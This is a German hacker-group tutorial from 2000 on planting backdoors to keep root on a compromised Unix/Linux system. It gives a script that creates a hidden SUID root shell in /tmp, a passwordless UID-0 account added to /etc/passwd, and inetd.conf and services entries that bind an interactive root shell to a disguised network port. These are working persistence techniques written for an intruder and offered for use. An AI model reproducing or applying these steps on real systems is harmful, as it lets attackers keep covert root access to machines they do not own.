BACKDOORS IN UNIXSYSTEMEN by ThEHoaX^HDC
Inhaltsverzeichnis:
-------------------
1.Backdoors
Einleitung
[1] Die SUID Shell Basckdoor
[2] Die /etc/passwd Backdoor
[3] Die INET BAckdoor
Fazit
Greets, usw...
Einleitung:
-----------
Wenn man entlich auf einer Linux-Box r00t hat, will man ja auch das dieses
nicht so schnell vergeht!! Dazu benutzten wir BACKDOORS. Es gibt viele
moeglichkeiten eine Backdoor ins System einzubinden...dazu kommen wir
spaeter. Wir beschaeftigen uns in diesem Turial mit simpelen Backdoors, zudem
habe ich und andere ein paar Shellscrips geschrieben um die Sache zu
vereinfachen.
1.Backdoors:
------------
[1] Die SUID Shell Backdoor
Diese ist eine sehr einfache aber auch efektive Methode seine Rootshell zu
behalten. Wir kopiern die Rootshell mit den SUID Flags nach /tmp und geben
ihr dann volle Rechte fuer alle user.
----
#!/bin/sh
cp /bin/sh /tmp/.rootshell
chmod a+s /tmp/.rootshell
echo done...
---
Natuerlich ´rootshell´ umbennen. Um das Script laufen lassen zu koennen muss
man Rootrechte haben. Wenn man sich jetzt neu Eingelogt hat, geht man nach
/tmp fuert ./rootshell aus une bekonnt dadurch die gewuentschte Rootshell.
[2] Die /etc/passwd Backdoor
Dei dieser Backdoor fuegen wir einfach einen neuen USER in die /etc/passwd
mit der Root ID (0). Das kann man inherhalb von 1 min machen, dazu brauchen
wir haben einbischen Ahnung von der Passwordfile....
root:o9Kus89Tgh:0:0:Systemadmin:/root:/bin/bash
Benutzername: root
Passwort: o9Kus89Tgh
User ID: 0
Group ID: 0
Richtiger Name/Info: Systemadmin
Homeverzeichnis: /root
Shell: /bin/bash
Dann geben wir in der Shell ´vi /etc/passwd´ ein und machen folgendes: Wir
gehen mit dem Courser in die Mitte der File, druecken ´i´ fuer INSERT dann
´ENTER´ um eine neue Zeile zu bekommen und tippen dies ein:
Operator::0:0:Operator:/home/op:/bin/bash
jetzt muessen wir ´vi´ mit ´:wq´ beenden und fertig die Backdoor. P.S. Diese
Methode ist nicht sehr Sicher und wir oft erkannt!
[3] Die INET Backdoor
Die INET Backdoor wird in den Datein /etc/services und /etc/inetd.conf
eingetragen. Die Backdoor ist als normaler Port getarnt. Entweder man nimmt
einen Port der fast nie benutzt wird oder wir erstellen einfach einen neuen.
Hier ist erstmal eine Teil von /etc/servies von SuSe Linux:
---
tcpmux 1/tcp # TCP port service multiplexer
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/tcp sink null
systat 11/tcp users
daytime 13/tcp
daytime 13/tcp
netstat 15/tcp
qotd 17/tcp quote
msp 18/tcp #message send protocol
msp 18/udp #message send protocol
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp # File Transfer [Default Data]
ftp 21/tcp
fsp 21/udp fspd
ssh 22/tcp
ssh 22/udp
telnet 23/tcp
# 24 - private
smtp 25/tcp mail
# 26 - unassigned
...
...
---
In der ersten Spalte ist der Name des Networkservice, in der zweiten der Port
und das Protokol Typ (TCP-> Transmission Control Protocol & UDP->Unix
Datagram Protocol) und in der driten stehen Komentare und Hinweise.
Wir kennen ja schon die /etc/services jetzt gucken wir uns die
/etc/inetd.conf an:
---
ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
pop3 stream tcp nowait root /usr/sbin/tcpd /usr/sbin/popper -s
tftp dgram udp wait nobody /usr/sbin/tcpd in.tfpd /tftpboot
rplay dgram udp wait root /usr/sbin/tcpd rplay -b 8192 -c 60 -s
8192
...
...
---
In der ersten Spalte ist der Name von dem Daemon (/etc/services). Vom Daemon
wird auch der Port bestimmt. Die zweite Spalte ist fuer den Typ of socket
(stream oder datagram). Als naechtes haben wir den Protokolnamen, dann in der
naechsten Spalte ob der Service warten soll oder nicht(tcp steht fuer nowait
und udp steht fuer wait, normalerweise ). Die vierte Spalte steht wer den
Daemon ausfuehren darf (fast immer r00t) und in den letzten beiden ist das
Verzeichnis und das Programm + Syntax aufgefuehrt. Nun kommen wir entlich zur
Backdoor...Wir suchen uns zuerst in der /etc/services einen Port aus der
entweder garnicht oder nur selten benutzt wird. Also aufjedenfall nicht
ftp(21), telnet(23), pop3(110)...Danach gehen wir in die /etc/inetd.conf und
veraendern(fuegen hinzu) die gewuentsche Zeile.
---
1.Name des Service
2.Den Stream
3.Das Protokol (TCP)
4.´nowait´
5.´root´
6.Verzeichnis der Backdoor
7.Die Shell
---
Am Ende kann das ca. so aussehen:
---
discard stream tcp nowait root /bin/sh sh -i
---
Discard ist ein Service der auf Port 9 laeuft. Wir muessen nun nur noch den
Internet Daemon neustarten, dies geschiet mit ´KILLALL -HUP inetd`. Um jetzt
an seine Rootshell zu kommen muss man einfach den HOST telneten:
´hoax@Dreamworld:~> telnet 9´ Die zweite Methode und auch die bessere
ist das man einfach ein Service hinzufuegt. Wir muessen uns einen Port
aussuchen der nicht Benutzt wird z.B. 10. Diesen tragen wir in /etc/services
ein (TCP). Das solte ca. so aussehen:
---
discard 9/UDP
backdoor 10/TCP
systat 11/TCP
---
Jetzt muessen wir nur noch die /etc/inetd.conf aendern, wie bei der ersten
Methode. Am Ende sieht die neue Backdoor so aus:
---
backdoor stream tcp nowait root /bin/sh sh -i
---
Nach dem neustart solte alles funktioniern :)
Fazit
-----
Ich hoffe ich hab euch eine kleine Einblick in die Welt der Backdoors
geschaffen. Die Backdoors die ich euch vorgestellt hab sind sehr einfach
Aufgebaut am besten versucht man mehrere ins System zu bringen. Man wird
sicher 1000 moeglichkeiten finden Backdoors ins System zu bringen. Es gibt
auch gute Perlbackdoors die mit dem selben Prinzip arbeit wie die
Inet-Backdoor. Es gibt noch einige gute Texte im Netz aber auf einem will ich
besonders Hinweisen ´Van Hausers Placing Backdoors Through Firewalls´. Dieser
Text gibt einen guten Einblick wie man Backdoor in Firewall geschuetzte
Systeme bringt. In diesem Sinne... viel Glueck beim Testen ;)
Contact
-------
E-mail: thehoax@h-d-c.org
IRC: IRCnet -- #hdc-public
WWW: www.h-d-c.org
Greets to
---------
The hole HDC-CREW, Buhhmann, Data2ooo, Janinabomb, All my local friends and
all who knew me :)
--[04.09.2ooo ThEHoaX^HDC]--